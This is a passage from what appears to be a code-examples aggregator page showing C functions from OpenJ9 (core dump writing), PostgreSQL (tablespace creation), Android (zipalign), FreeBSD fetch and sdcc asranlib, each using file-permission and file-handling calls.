 * The arg block is used for the bi-directional passing of data. Those of its
 * members which are pointers (most of them, in fact) are used mainly for 
 * output or at least have an output role. The fields of <arg> which are
 * required are shown as input parameters below. The fields of <arg> which
 * are used for output are detailed as return values.
 *
 * Since the pthread_create() calls limits us to one pointer to type void as the
 * function's input, and the function is required to return a void pointer, this
 * function will take the address of the <arg> block as the input parameter, and
 * will return a pointer to type char which represents the file name which now
 * contains the full path name of the ELF-format core dump file. There are also 
 * fields in <arg> that will be updated as described below.
 *
 * \param[in][out]     arg   pointer to a user-created datatype 'args', declared
 *                           in header file j9osdump_helpers.h
 * \param[in]        arg->OSFilename        Pointer to scratch storage for a path +
 *                                        file name string. It will be presumed 
 *                                        to be at least PATH_MAX+1 in size.
 * \param[in]        arg->wkspcSize        32-bit quantity representing the size in
 *                                        bytes of the wkSpace field, following.
 * \param[in]        arg->wkSpace        64-bit pointer to scratch workspace for
 *                                        use by this function. It is recommended
 *                                        to make it equal to PATH_MAX, since file &
 *                                        path names will be built in this space.
 * \param[in][out]    arg->flags            Indicators as to what is present and what
 *                                        is not.
 * \param[in]        arg->sii            Pointer to scratch storage to be used 
 *                                        forever more as a siginfo_t block
 * \param[in]        arg->uct            Pointer to scratch storage to be used 
 *                                        forever more as a ucontext_t block
 * \param[in]        arg->sct            Pointer to scratch storage to be used 
 *                                        forever more as a sigcontext block
 * \param[in]        arg->portLibrary    Pointer to an initialized OMRPortLibrary
 *                                        block. If there isn't one at call time,
 *                                        leave this value NULL and set flag
 *                                        J9ZTPF_NO_PORT_LIBRARY
 * \param[in]        arg->dibPtr            Address of the DIB attached to the faulting
 *                                        UOW at post-interrupt time.
 * 
 * \returns    Pointer to a hz-terminated string representing the absolute path
 *               name at which the core dump file was written.
 *            
 * \returns    arg->sii                   Filled in.
 * \returns    arg->uct                   Filled in.
 * \returns    arg->sct                   Filled in.
 * \returns    arg->rc                   Final return code. Zero if successful
 *                                       (core file built), non-zero if not.
 * \returns    arg->OSFilename           Same as the function return value.
 */
void *
ztpfBuildCoreFile(void *argv_block)
{
#define  MOUNT_TFS    4  /* TPF Filesystem equate from imount.h */

	args *arg = (args *) argv_block;
	uint8_t *buffer, *endBuffer;
	DBFHDR *dbfptr; /* Ptr to JDB's index header                */
	DIB *dibPtr = dibAddr(arg); /* Ptr to the Dump I'chg Block    */
	Elf64_Ehdr *ehdrp; /* Pointer to Elf64 file header                */
	Elf64_Phdr *phdrp; /* Pointer to Elf64_Phdr block                */
	Elf64_Nhdr *narea; /* Pointer to the ELF NOTE data                */
	char pathName[PATH_MAX]; /* Working buffer for core.* fname.*/
	char *ofn = dumpFilename(arg); /* Output dump file path    */
	uint32_t ofd; /* File descriptor for output dump            */
	uintptr_t rc; /* Working return code d.o.                    */
	uintptr_t wPtr; /* Working byte-sized pointer d.o.            */
	uint64_t phCount; /* Counter of Elf64_Phdrs required            */
	uint8_t *imageBuffer; /* Start of the JDB's ICB            */
	uint64_t imageBufferSize; /* Size of data in the ICB            */
	uint64_t octetsToWrite = 0UL; /* Count of bytes to write        */
	uint64_t octetsWritten = 0UL; /* Count of bytes written        */
	uint64_t spcAvailable;

	/*
	 *    If there is a Java dump buffer belonging to this process, then
	 *    convert its contents into an Elf64 core dump file; otherwise
	 *    return failure.
	 */
	if (!(dibPtr->dibjdb)) { /* No dump buffer? Not possible.*/
		dumpFlags(arg) |= J9TPF_NO_JAVA_DUMPBUFFER;
		returnCode (arg) = -1; /* Set error flags & bad RC ...    */
		return NULL; /* 'Bye.                        */
	}
	dbfptr = dibPtr->dibjdb; /* Pick up the dump buffer ptr    */
	if (0L == dbfptr->ijavcnt) { /* Did CCCPSE write us one?        */
		returnCode (arg) = -1; /* Nope. JDB is locked...        */
		dumpFlags(arg) |= J9TPF_JDUMPBUFFER_LOCKED;
		return NULL; /* See ya next time.            */
	}
	/*
	 *     Calculate the start, end, and net length of the output buffer we'll
	 *     use for the ELF-dictated start of the file content. The start address
	 *     should, as a matter of good practice, start on a paragraph boundary.
	 */
	buffer = (uint8_t *) (dbfptr->ijavbfp); /* Get buffer start as uint8_t ptr    */
	buffer = (uint8_t *) NEXT_PARA(buffer); /* Start it on next paragraph    */
	/*    boundary.                    */
	endBuffer = buffer + dbfptr->ijavbfl; /* Get bytes left in buffer        */
	spcAvailable = endBuffer - buffer; /* Get corrected count of bytes    */

	phCount = dbfptr->ijavcnt;

	int numJavaPgms = sizeof(javaPgmsToDump) / 5;
	octetsToWrite = sizeof(Elf64_Ehdr)
			+ ((phCount + 1 + numJavaPgms) * sizeof(Elf64_Phdr)) +
			NOTE_TABLE_SIZE;
	/*
	 *     Uh oh. Not enough free space remaining in the dump buffer. Now
	 *     we've gotta go to the heap and see if there's enough there. Not
	 *     much hope; but we have to try it.
	 */
	if (octetsToWrite > spcAvailable) { /* Check for available memory,    */
		buffer = malloc64(octetsToWrite); /*  anywhere. We're desperate.    */
		if (!buffer) { /* If we can't buffer our I/Os,    */
			returnCode (arg) = -1; /*  we are done. Indicate error */
			errMsg(arg, "Cannot buffer dump file, out of memory");
			dumpFlags(arg) |= J9TPF_OUT_OF_BUFFERSPACE;
			KEY0();
			dbfptr->ijavcnt = 0L; /* Unlock the JDB so CCCPSE can reuse it*/
			UNKEY();
			return NULL; /* See ya 'round.                */
		}
	}
	/*
	 *    We're ready to write the file. First, we need a full path + filename
	 *    to represent the "OS filename" we're going to write. Get that path
	 *    from the final file name passed in the <tt>args</tt> block, then
	 *    follow that with "core.%X.%d" with the TOD in the second node and
	 *    the PID number in the third. In this way, we can identify the OS
	 *    filename later.
	 *
	 *    Next, we'll try to open it in CREATE+WRITE_ONLY mode. If it fails,
	 *    halt; else write away!
	 */
	splitPathName(ofn, pathName);
	/*
	 *    The "OS filename" will look like ${path}/core.${TOD_in_hex}.${pid}
	 */
	sprintf(workSpace(arg), "core.%lX.%d", dibPtr->dstckf,
			dumpSiginfo(arg)->si_pid);
	{
		int pathLen = strlen(pathName);
		char ebcdicPath[pathLen + 1];
		a2e_len(pathName, ebcdicPath, strlen(pathName));
		int fsystype = pathconf(ebcdicPath, _TPF_PC_FS_TYPE);
		if (fsystype == MOUNT_TFS) {
			errMsg(arg, "Cannot use the tfs for java dumps: path used='%s'\n",
					pathName);
			returnCode (arg) = -1;
			KEY0();
			dbfptr->ijavcnt = 0L; /* Unlock the JDB so CCCPSE can reuse it*/
			UNKEY();
			return NULL;
			//dir_path_name is within the TFS
		}
	}
	strcat(pathName, workSpace(arg));
	ofd = open(pathName, O_WRONLY | O_CREAT | O_EXCL);

	if (-1 == ofd) {
		errMsg(arg, "Cannot open() filename %s: %s\n", strerror(errno));
		returnCode (arg) = -1;
		KEY0();
		dbfptr->ijavcnt = 0L; /* Unlock the JDB so CCCPSE can reuse it*/
		UNKEY();
		return NULL;
	}
	/*
	 *    The file is named and opened. Now we have to go build its ELF-dictated
	 *    parts. Set up pointers to the start of each sub-section, and then go
	 *    build them. When that's complete, write the file in two parts: first,
	 *    the ELF-dictated start, and then follow that with the data in the
	 *    ICB.
	 */
	wPtr = (uintptr_t) buffer; /*    Calc section addresses with single    */
	                           /*     byte arithmetic                    */
	ehdrp = (Elf64_Ehdr *) wPtr; /*    Elf64_Ehdr pointer                    */
	phdrp = (Elf64_Phdr *) (ehdrp + 1); /*    Elf64_Phdr pointer                    */
	buildELFHeader(ehdrp);
	uint64_t numBytes = 0;
	uint64_t pCount = buildELFPheaderBlk(phdrp, dbfptr, phCount, &numBytes);
	KEY0(); /* Get into SPK 0, then write the        */
	ehdrp->e_phnum = pCount; /*  absolutely final Phdr count and     */
	ehdrp->e_phoff = 0x40; /*    offset of its table into place in    */
	UNKEY(); /*  the Ehdr, then get back to SPK 1.    */
	wPtr = (uintptr_t) phdrp; /* Calculate the end address        */
	wPtr += ((phCount + 1 + numJavaPgms) * sizeof(Elf64_Phdr)); /*    of the Elf64_Phdr section        */
	narea = (Elf64_Nhdr *) wPtr; /* Calculate the address of NOTE sec,    */
	buildELFNoteArea(narea, dibPtr); /*    and go write it there.                */
	/*
	 *    Write the ELF-dictated portion of the file first.
	 */
	octetsWritten = writeDumpFile(ofd, buffer, octetsToWrite);
	if (-1 == octetsWritten) {
		errMsg(arg, "Error writing dump file %s: %s", ofn, strerror(errno));
		dumpFlags(arg) |= J9TPF_FILE_SYSTEM_ERROR;
		KEY0();
		dbfptr->ijavcnt = 0L; /* Unlock the JDB so CCCPSE can reuse it*/
		UNKEY();
		return NULL;
	}
	/*
	 *    Finish the output with the ICB portion of the Java Dump Buffer
	 */
	imageBuffer = (uint8_t *) cinfc_fast(CINFC_CMMJDB);
	octetsWritten = writeDumpFile(ofd, imageBuffer, numBytes);
	if (-1 == octetsWritten) {
		errMsg(arg, "Error writing dump file %s: %s", ofn, strerror(errno));
		dumpFlags(arg) |= J9TPF_FILE_SYSTEM_ERROR;
		KEY0();
		dbfptr->ijavcnt = 0L; /* Unlock the JDB so CCCPSE can reuse it*/
		UNKEY();
		return NULL;
	}
	int i = 0;
	for (i = 0; i < numJavaPgms; i++) {
		struct pat * pgmpat = progc(javaPgmsToDump[i], PROGC_PBI);
		struct ifetch *pgmbase = pgmpat->patgca;
		if (pgmbase != NULL) {
			int offset = pgmbase->_iftch_txt_off + pgmbase->_iftch_txt_size
					+ 0x1000;
			char * text = ((char*) pgmbase) + offset;
			uint64_t size = pgmpat->patpsize - offset;
			octetsWritten = writeDumpFile(ofd, text, size);
			if (-1 == octetsWritten) {
				errMsg(arg, "Error writing dump file %s: %s", ofn,
						strerror(errno));
				dumpFlags(arg) |= J9TPF_FILE_SYSTEM_ERROR;
				KEY0();
				dbfptr->ijavcnt = 0L; /* Unlock the JDB so CCCPSE can reuse it*/
				UNKEY();
				return NULL;
			}
		}
	}
	/*
	 *    That's all folks. Close the file and return the so-called "OS Filename"
	 *    to the caller as if the OS had written it.
	 */
	rc = close(ofd); /* Only try to close() the file once    */
	if (-1 == rc) {
		errMsg(arg, "I/O error attempting to close %s:%s\n", ofn,
				strerror(errno));
		KEY0();
		dbfptr->ijavcnt = 0L; /* Unlock the JDB so CCCPSE can reuse it*/
		UNKEY();
		return NULL;
	}
	/*
	 * Make sure we have a recognizable IPC permission on the OS filename,
	 *  then make sure the JDB buffer is unlocked in case CPSE needs it again.
	 */
	rc = chmod(workSpace(arg), S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH);
	KEY0();
	dbfptr->ijavcnt = 0L; /* Unlock the JDB so CCCPSE can reuse it*/
	UNKEY();
	/*
	 * Return the filename to the caller. Remember that the buffer containing
	 * it is non-JVM-managed heap space and should be free()d back to it to
	 * avoid a mem leak.
	 */
	strcpy(dumpFilename(arg), ofn); /* Store it in the args block so the */
	return (void *) ofn; /*  caller always has it, and goback.*/
}
Exemplo n.º 20
0
/*
 * Create a table space
 *
 * Only superusers can create a tablespace. This seems a reasonable restriction
 * since we're determining the system layout and, anyway, we probably have
 * root if we're doing this kind of activity
 */
void
CreateTableSpace(CreateTableSpaceStmt *stmt)
{
#ifdef HAVE_SYMLINK
	Relation	rel;
	Datum		values[Natts_pg_tablespace];
	char		nulls[Natts_pg_tablespace];
	HeapTuple	tuple;
	Oid			tablespaceoid;
	char	   *location;
	char	   *linkloc;
	Oid			ownerId;

	/* validate */

	/* don't call this in a transaction block */
	PreventTransactionChain((void *) stmt, "CREATE TABLESPACE");

	/* Must be super user */
	if (!superuser())
		ereport(ERROR,
				(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),
				 errmsg("permission denied to create tablespace \"%s\"",
						stmt->tablespacename),
				 errhint("Must be superuser to create a tablespace.")));

	/* However, the eventual owner of the tablespace need not be */
	if (stmt->owner)
		ownerId = get_roleid_checked(stmt->owner);
	else
		ownerId = GetUserId();

	/* Unix-ify the offered path, and strip any trailing slashes */
	location = pstrdup(stmt->location);
	canonicalize_path(location);

	/* disallow quotes, else CREATE DATABASE would be at risk */
	if (strchr(location, '\''))
		ereport(ERROR,
				(errcode(ERRCODE_INVALID_NAME),
			   errmsg("tablespace location may not contain single quotes")));

	/*
	 * Allowing relative paths seems risky
	 *
	 * this also helps us ensure that location is not empty or whitespace
	 */
	if (!is_absolute_path(location))
		ereport(ERROR,
				(errcode(ERRCODE_INVALID_OBJECT_DEFINITION),
				 errmsg("tablespace location must be an absolute path")));

	/*
	 * Check that location isn't too long. Remember that we're going to append
	 * '/<dboid>/<relid>.<nnn>'  (XXX but do we ever form the whole path
	 * explicitly?	This may be overly conservative.)
	 */
	if (strlen(location) >= (MAXPGPATH - 1 - 10 - 1 - 10 - 1 - 10))
		ereport(ERROR,
				(errcode(ERRCODE_INVALID_OBJECT_DEFINITION),
				 errmsg("tablespace location \"%s\" is too long",
						location)));

	/*
	 * Disallow creation of tablespaces named "pg_xxx"; we reserve this
	 * namespace for system purposes.
	 */
	if (!allowSystemTableMods && IsReservedName(stmt->tablespacename))
		ereport(ERROR,
				(errcode(ERRCODE_RESERVED_NAME),
				 errmsg("unacceptable tablespace name \"%s\"",
						stmt->tablespacename),
		errdetail("The prefix \"pg_\" is reserved for system tablespaces.")));

	/*
	 * Check that there is no other tablespace by this name.  (The unique
	 * index would catch this anyway, but might as well give a friendlier
	 * message.)
	 */
	if (OidIsValid(get_tablespace_oid(stmt->tablespacename)))
		ereport(ERROR,
				(errcode(ERRCODE_DUPLICATE_OBJECT),
				 errmsg("tablespace \"%s\" already exists",
						stmt->tablespacename)));

	/*
	 * Insert tuple into pg_tablespace.  The purpose of doing this first is to
	 * lock the proposed tablename against other would-be creators. The
	 * insertion will roll back if we find problems below.
	 */
	rel = heap_open(TableSpaceRelationId, RowExclusiveLock);

	MemSet(nulls, ' ', Natts_pg_tablespace);

	values[Anum_pg_tablespace_spcname - 1] =
		DirectFunctionCall1(namein, CStringGetDatum(stmt->tablespacename));
	values[Anum_pg_tablespace_spcowner - 1] =
		ObjectIdGetDatum(ownerId);
	values[Anum_pg_tablespace_spclocation - 1] =
		DirectFunctionCall1(textin, CStringGetDatum(location));
	nulls[Anum_pg_tablespace_spcacl - 1] = 'n';

	tuple = heap_formtuple(rel->rd_att, values, nulls);

	tablespaceoid = simple_heap_insert(rel, tuple);

	CatalogUpdateIndexes(rel, tuple);

	heap_freetuple(tuple);

	/* Record dependency on owner */
	recordDependencyOnOwner(TableSpaceRelationId, tablespaceoid, ownerId);

	/*
	 * Attempt to coerce target directory to safe permissions.	If this fails,
	 * it doesn't exist or has the wrong owner.
	 */
	if (chmod(location, 0700) != 0)
		ereport(ERROR,
				(errcode_for_file_access(),
				 errmsg("could not set permissions on directory \"%s\": %m",
						location)));

	/*
	 * Check the target directory is empty.
	 */
	if (!directory_is_empty(location))
		ereport(ERROR,
				(errcode(ERRCODE_OBJECT_NOT_IN_PREREQUISITE_STATE),
				 errmsg("directory \"%s\" is not empty",
						location)));

	/*
	 * Create the PG_VERSION file in the target directory.	This has several
	 * purposes: to make sure we can write in the directory, to prevent
	 * someone from creating another tablespace pointing at the same directory
	 * (the emptiness check above will fail), and to label tablespace
	 * directories by PG version.
	 */
	set_short_version(location);

	/*
	 * All seems well, create the symlink
	 */
	linkloc = (char *) palloc(10 + 10 + 1);
	sprintf(linkloc, "pg_tblspc/%u", tablespaceoid);

	if (symlink(location, linkloc) < 0)
		ereport(ERROR,
				(errcode_for_file_access(),
				 errmsg("could not create symbolic link \"%s\": %m",
						linkloc)));

	/* Record the filesystem change in XLOG */
	{
		xl_tblspc_create_rec xlrec;
		XLogRecData rdata[2];

		xlrec.ts_id = tablespaceoid;
		rdata[0].data = (char *) &xlrec;
		rdata[0].len = offsetof(xl_tblspc_create_rec, ts_path);
		rdata[0].buffer = InvalidBuffer;
		rdata[0].next = &(rdata[1]);

		rdata[1].data = (char *) location;
		rdata[1].len = strlen(location) + 1;
		rdata[1].buffer = InvalidBuffer;
		rdata[1].next = NULL;

		(void) XLogInsert(RM_TBLSPC_ID, XLOG_TBLSPC_CREATE, rdata);
	}

	pfree(linkloc);
	pfree(location);

	/* We keep the lock on pg_tablespace until commit */
	heap_close(rel, NoLock);
#else							/* !HAVE_SYMLINK */
	ereport(ERROR,
			(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),
			 errmsg("tablespaces are not supported on this platform")));
#endif   /* HAVE_SYMLINK */
}
Exemplo n.º 21
0
int zipalign(const char *apk_path, uid_t uid, int is_public)
{
    char za_path[PKG_PATH_MAX];
    struct utimbuf ut;
    struct stat za_stat, apk_stat;
    int res;
    pid_t pid;
    pid = fork();
    if (pid == 0) {
        run_check_zipalign(apk_path);
        exit(67);
    } else {
        res = wait_check_zipalign(pid, apk_path);
        if (res == 0) {
            goto notneeded;
        }
    }    
    
    memset(&apk_stat, 0, sizeof(apk_stat));
    stat(apk_path, &apk_stat);

    strcpy(za_path, apk_path);
    strcat(za_path, ".tmp");
    LOGD("ZipAlign: --- BEGIN '%s' ---\n", apk_path);
    
    pid = fork();
    if (pid == 0) {
        run_zipalign(apk_path, za_path);
        exit(67);
    } else {
        res = wait_zipalign(pid, za_path);
        if (res != 0) {
            LOGE("zipalign failed on '%s' res = %d\n", za_path, res);
            goto fail;
        }
   }
    
    if (chown(za_path, apk_stat.st_uid, apk_stat.st_gid) < 0) {
        LOGE("zipalign cannot chown '%s'", apk_path);
        goto fail;
    }
    if (chmod(za_path, S_IRUSR|S_IWUSR|S_IRGRP |
        (is_public ? S_IROTH : 0)) < 0) {
LOGE("zipalign cannot chmod '%s'\n", apk_path);
goto fail;
    }

    ut.actime = apk_stat.st_atime;
    ut.modtime = apk_stat.st_mtime;
    utime(za_path, &ut);

    unlink(apk_path);
    rename(za_path, apk_path);

    return 0;
    
notneeded:
    return 0;
    
fail:
    unlink(za_path);
    return -1;

}
Exemplo n.º 22
0
/*
 * Fetch a file
 */
static int
fetch(char *URL, const char *path)
{
	struct url *url;
	struct url_stat us;
	struct stat sb, nsb;
	struct xferstat xs;
	FILE *f, *of;
	size_t size, readcnt, wr;
	off_t count;
	char flags[8];
	const char *slash;
	char *tmppath;
	int r;
	unsigned timeout;
	char *ptr;

	f = of = NULL;
	tmppath = NULL;

	timeout = 0;
	*flags = 0;
	count = 0;

	/* set verbosity level */
	if (v_level > 1)
		strcat(flags, "v");
	if (v_level > 2)
		fetchDebug = 1;

	/* parse URL */
	url = NULL;
	if (*URL == '\0') {
		warnx("empty URL");
		goto failure;
	}
	if ((url = fetchParseURL(URL)) == NULL) {
		warnx("%s: parse error", URL);
		goto failure;
	}

	/* if no scheme was specified, take a guess */
	if (!*url->scheme) {
		if (!*url->host)
			strcpy(url->scheme, SCHEME_FILE);
		else if (strncasecmp(url->host, "ftp.", 4) == 0)
			strcpy(url->scheme, SCHEME_FTP);
		else if (strncasecmp(url->host, "www.", 4) == 0)
			strcpy(url->scheme, SCHEME_HTTP);
	}

	/* common flags */
	switch (family) {
	case PF_INET:
		strcat(flags, "4");
		break;
	case PF_INET6:
		strcat(flags, "6");
		break;
	}

	/* FTP specific flags */
	if (strcmp(url->scheme, SCHEME_FTP) == 0) {
		if (p_flag)
			strcat(flags, "p");
		if (d_flag)
			strcat(flags, "d");
		if (U_flag)
			strcat(flags, "l");
		timeout = T_secs ? T_secs : ftp_timeout;
	}

	/* HTTP specific flags */
	if (strcmp(url->scheme, SCHEME_HTTP) == 0 ||
	    strcmp(url->scheme, SCHEME_HTTPS) == 0) {
		if (d_flag)
			strcat(flags, "d");
		if (A_flag)
			strcat(flags, "A");
		timeout = T_secs ? T_secs : http_timeout;
		if (i_flag) {
			if (stat(i_filename, &sb)) {
				warn("%s: stat()", i_filename);
				goto failure;
			}
			url->ims_time = sb.st_mtime;
			strcat(flags, "i");
		}
	}

	/* set the protocol timeout. */
	fetchTimeout = timeout;

	/* just print size */
	if (s_flag) {
		if (timeout)
			alarm(timeout);
		r = fetchStat(url, &us, flags);
		if (timeout)
			alarm(0);
		if (sigalrm || sigint)
			goto signal;
		if (r == -1) {
			warnx("%s", fetchLastErrString);
			goto failure;
		}
		if (us.size == -1)
			printf("Unknown\n");
		else
			printf("%jd\n", (intmax_t)us.size);
		goto success;
	}

	/*
	 * If the -r flag was specified, we have to compare the local
	 * and remote files, so we should really do a fetchStat()
	 * first, but I know of at least one HTTP server that only
	 * sends the content size in response to GET requests, and
	 * leaves it out of replies to HEAD requests.  Also, in the
	 * (frequent) case that the local and remote files match but
	 * the local file is truncated, we have sufficient information
	 * before the compare to issue a correct request.  Therefore,
	 * we always issue a GET request as if we were sure the local
	 * file was a truncated copy of the remote file; we can drop
	 * the connection later if we change our minds.
	 */
	sb.st_size = -1;
	if (!o_stdout) {
		r = stat(path, &sb);
		if (r == 0 && r_flag && S_ISREG(sb.st_mode)) {
			url->offset = sb.st_size;
		} else if (r == -1 || !S_ISREG(sb.st_mode)) {
			/*
			 * Whatever value sb.st_size has now is either
			 * wrong (if stat(2) failed) or irrelevant (if the
			 * path does not refer to a regular file)
			 */
			sb.st_size = -1;
		}
		if (r == -1 && errno != ENOENT) {
			warnx("%s: stat()", path);
			goto failure;
		}
	}

	/* start the transfer */
	if (timeout)
		alarm(timeout);
	f = fetchXGet(url, &us, flags);
	if (timeout)
		alarm(0);
	if (sigalrm || sigint)
		goto signal;
	if (f == NULL) {
		warnx("%s: %s", URL, fetchLastErrString);
		if (i_flag && (strcmp(url->scheme, SCHEME_HTTP) == 0 ||
		    strcmp(url->scheme, SCHEME_HTTPS) == 0) &&
		    fetchLastErrCode == FETCH_OK &&
		    strcmp(fetchLastErrString, "Not Modified") == 0) {
			/* HTTP Not Modified Response, return OK. */
			r = 0;
			goto done;
		} else
			goto failure;
	}
	if (sigint)
		goto signal;

	/* check that size is as expected */
	if (S_size) {
		if (us.size == -1) {
			warnx("%s: size unknown", URL);
		} else if (us.size != S_size) {
			warnx("%s: size mismatch: expected %jd, actual %jd",
			    URL, (intmax_t)S_size, (intmax_t)us.size);
			goto failure;
		}
	}

	/* symlink instead of copy */
	if (l_flag && strcmp(url->scheme, "file") == 0 && !o_stdout) {
		if (symlink(url->doc, path) == -1) {
			warn("%s: symlink()", path);
			goto failure;
		}
		goto success;
	}

	if (us.size == -1 && !o_stdout && v_level > 0)
		warnx("%s: size of remote file is not known", URL);
	if (v_level > 1) {
		if (sb.st_size != -1)
			fprintf(stderr, "local size / mtime: %jd / %ld\n",
			    (intmax_t)sb.st_size, (long)sb.st_mtime);
		if (us.size != -1)
			fprintf(stderr, "remote size / mtime: %jd / %ld\n",
			    (intmax_t)us.size, (long)us.mtime);
	}

	/* open output file */
	if (o_stdout) {
		/* output to stdout */
		of = stdout;
	} else if (r_flag && sb.st_size != -1) {
		/* resume mode, local file exists */
		if (!F_flag && us.mtime && sb.st_mtime != us.mtime) {
			/* no match! have to refetch */
			fclose(f);
			/* if precious, warn the user and give up */
			if (R_flag) {
				warnx("%s: local modification time "
				    "does not match remote", path);
				goto failure_keep;
			}
		} else if (url->offset > sb.st_size) {
			/* gap between what we asked for and what we got */
			warnx("%s: gap in resume mode", URL);
			fclose(of);
			of = NULL;
			/* picked up again later */
		} else if (us.size != -1) {
			if (us.size == sb.st_size)
				/* nothing to do */
				goto success;
			if (sb.st_size > us.size) {
				/* local file too long! */
				warnx("%s: local file (%jd bytes) is longer "
				    "than remote file (%jd bytes)", path,
				    (intmax_t)sb.st_size, (intmax_t)us.size);
				goto failure;
			}
			/* we got it, open local file */
			if ((of = fopen(path, "r+")) == NULL) {
				warn("%s: fopen()", path);
				goto failure;
			}
			/* check that it didn't move under our feet */
			if (fstat(fileno(of), &nsb) == -1) {
				/* can't happen! */
				warn("%s: fstat()", path);
				goto failure;
			}
			if (nsb.st_dev != sb.st_dev ||
			    nsb.st_ino != sb.st_ino ||
			    nsb.st_size != sb.st_size) {
				warnx("%s: file has changed", URL);
				fclose(of);
				of = NULL;
				sb = nsb;
				/* picked up again later */
			}
		}
		/* seek to where we left off */
		if (of != NULL && fseeko(of, url->offset, SEEK_SET) != 0) {
			warn("%s: fseeko()", path);
			fclose(of);
			of = NULL;
			/* picked up again later */
		}
	} else if (m_flag && sb.st_size != -1) {
		/* mirror mode, local file exists */
		if (sb.st_size == us.size && sb.st_mtime == us.mtime)
			goto success;
	}

	if (of == NULL) {
		/*
		 * We don't yet have an output file; either this is a
		 * vanilla run with no special flags, or the local and
		 * remote files didn't match.
		 */

		if (url->offset > 0) {
			/*
			 * We tried to restart a transfer, but for
			 * some reason gave up - so we have to restart
			 * from scratch if we want the whole file
			 */
			url->offset = 0;
			if ((f = fetchXGet(url, &us, flags)) == NULL) {
				warnx("%s: %s", URL, fetchLastErrString);
				goto failure;
			}
			if (sigint)
				goto signal;
		}

		/* construct a temp file name */
		if (sb.st_size != -1 && S_ISREG(sb.st_mode)) {
			if ((slash = strrchr(path, '/')) == NULL)
				slash = path;
			else
				++slash;
			asprintf(&tmppath, "%.*s.fetch.XXXXXX.%s",
			    (int)(slash - path), path, slash);
			if (tmppath != NULL) {
				if (mkstemps(tmppath, strlen(slash) + 1) == -1) {
					warn("%s: mkstemps()", path);
					goto failure;
				}
				of = fopen(tmppath, "w");
				chown(tmppath, sb.st_uid, sb.st_gid);
				chmod(tmppath, sb.st_mode & ALLPERMS);
			}
		}
		if (of == NULL)
			of = fopen(path, "w");
		if (of == NULL) {
			warn("%s: open()", path);
			goto failure;
		}
	}
	count = url->offset;

	/* start the counter */
	stat_start(&xs, path, us.size, count);

	sigalrm = siginfo = sigint = 0;

	/* suck in the data */
	setvbuf(f, NULL, _IOFBF, B_size);
	signal(SIGINFO, sig_handler);
	while (!sigint) {
		if (us.size != -1 && us.size - count < B_size &&
		    us.size - count >= 0)
			size = us.size - count;
		else
			size = B_size;
		if (siginfo) {
			stat_end(&xs);
			siginfo = 0;
		}

		if (size == 0)
			break;

		if ((readcnt = fread(buf, 1, size, f)) < size) {
			if (ferror(f) && errno == EINTR && !sigint)
				clearerr(f);
			else if (readcnt == 0)
				break;
		}

		stat_update(&xs, count += readcnt);
		for (ptr = buf; readcnt > 0; ptr += wr, readcnt -= wr)
			if ((wr = fwrite(ptr, 1, readcnt, of)) < readcnt) {
				if (ferror(of) && errno == EINTR && !sigint)
					clearerr(of);
				else
					break;
			}
		if (readcnt != 0)
			break;
	}
	if (!sigalrm)
		sigalrm = ferror(f) && errno == ETIMEDOUT;
	signal(SIGINFO, SIG_DFL);

	stat_end(&xs);

	/*
	 * If the transfer timed out or was interrupted, we still want to
	 * set the mtime in case the file is not removed (-r or -R) and
	 * the user later restarts the transfer.
	 */
 signal:
	/* set mtime of local file */
	if (!n_flag && us.mtime && !o_stdout && of != NULL &&
	    (stat(path, &sb) != -1) && sb.st_mode & S_IFREG) {
		struct timeval tv[2];

		fflush(of);
		tv[0].tv_sec = (long)(us.atime ? us.atime : us.mtime);
		tv[1].tv_sec = (long)us.mtime;
		tv[0].tv_usec = tv[1].tv_usec = 0;
		if (utimes(tmppath ? tmppath : path, tv))
			warn("%s: utimes()", tmppath ? tmppath : path);
	}

	/* timed out or interrupted? */
	if (sigalrm)
		warnx("transfer timed out");
	if (sigint) {
		warnx("transfer interrupted");
		goto failure;
	}

	/* timeout / interrupt before connection completley established? */
	if (f == NULL)
		goto failure;

	if (!sigalrm) {
		/* check the status of our files */
		if (ferror(f))
			warn("%s", URL);
		if (ferror(of))
			warn("%s", path);
		if (ferror(f) || ferror(of))
			goto failure;
	}

	/* did the transfer complete normally? */
	if (us.size != -1 && count < us.size) {
		warnx("%s appears to be truncated: %jd/%jd bytes",
		    path, (intmax_t)count, (intmax_t)us.size);
		goto failure_keep;
	}

	/*
	 * If the transfer timed out and we didn't know how much to
	 * expect, assume the worst (i.e. we didn't get all of it)
	 */
	if (sigalrm && us.size == -1) {
		warnx("%s may be truncated", path);
		goto failure_keep;
	}

 success:
	r = 0;
	if (tmppath != NULL && rename(tmppath, path) == -1) {
		warn("%s: rename()", path);
		goto failure_keep;
	}
	goto done;
 failure:
	if (of && of != stdout && !R_flag && !r_flag)
		if (stat(path, &sb) != -1 && (sb.st_mode & S_IFREG))
			unlink(tmppath ? tmppath : path);
	if (R_flag && tmppath != NULL && sb.st_size == -1)
		rename(tmppath, path); /* ignore errors here */
 failure_keep:
	r = -1;
	goto done;
 done:
	if (f)
		fclose(f);
	if (of && of != stdout)
		fclose(of);
	if (url)
		fetchFreeURL(url);
	if (tmppath != NULL)
		free(tmppath);
	return (r);
}
Exemplo n.º 23
0
void
do_ranlib (const char *archive)
{
  FILE *infp;

  if (NULL == (infp = fopen (archive, "rb")))
    {
      fprintf (stderr, "asranlib: %s: ", archive);
      perror (NULL);
      exit (1);
    }

  if (!get_symbols (infp, archive))
    {
      fprintf (stderr, "asranlib: %s: Malformed archive\n", archive);
      fclose (infp);
      exit (1);
    }
  else if (!list && !print_index)
    {
      FILE *outfp;
      struct symbol_s *symp;
      char buf[4];
      int str_length;
      int pad;
      int nsym;
      int symtab_size;
      char tmpfile[] = "arXXXXXX";
      struct stat stat_buf;
      int can_stat;

#ifdef _WIN32
      if (NULL == _mktemp (tmpfile) || NULL == (outfp = fopen (tmpfile, "wb")))
        {
          fclose (infp);
          fprintf (stderr, "asranlib: %s: ", tmpfile);
          perror (NULL);
          exit (1);
        }
#else
      if ((pad = mkstemp (tmpfile)) < 0)
        {
          fclose (infp);
          fprintf (stderr, "asranlib: %s: ", tmpfile);
          perror (NULL);
          exit (1);
        }

      if (NULL == (outfp = fdopen (pad, "wb")))
        {
          close (pad);
          fclose (infp);
          perror ("asranlib");
          exit (1);
        }
#endif

      /* calculate the size of symbol table */
      for (str_length = 0, nsym = 0, symp = symlist; symp; ++nsym, symp = symp->next)
        {
          str_length += strlen (symp->name) + 1;
        }

      symtab_size = 4 + 4 * nsym + str_length;

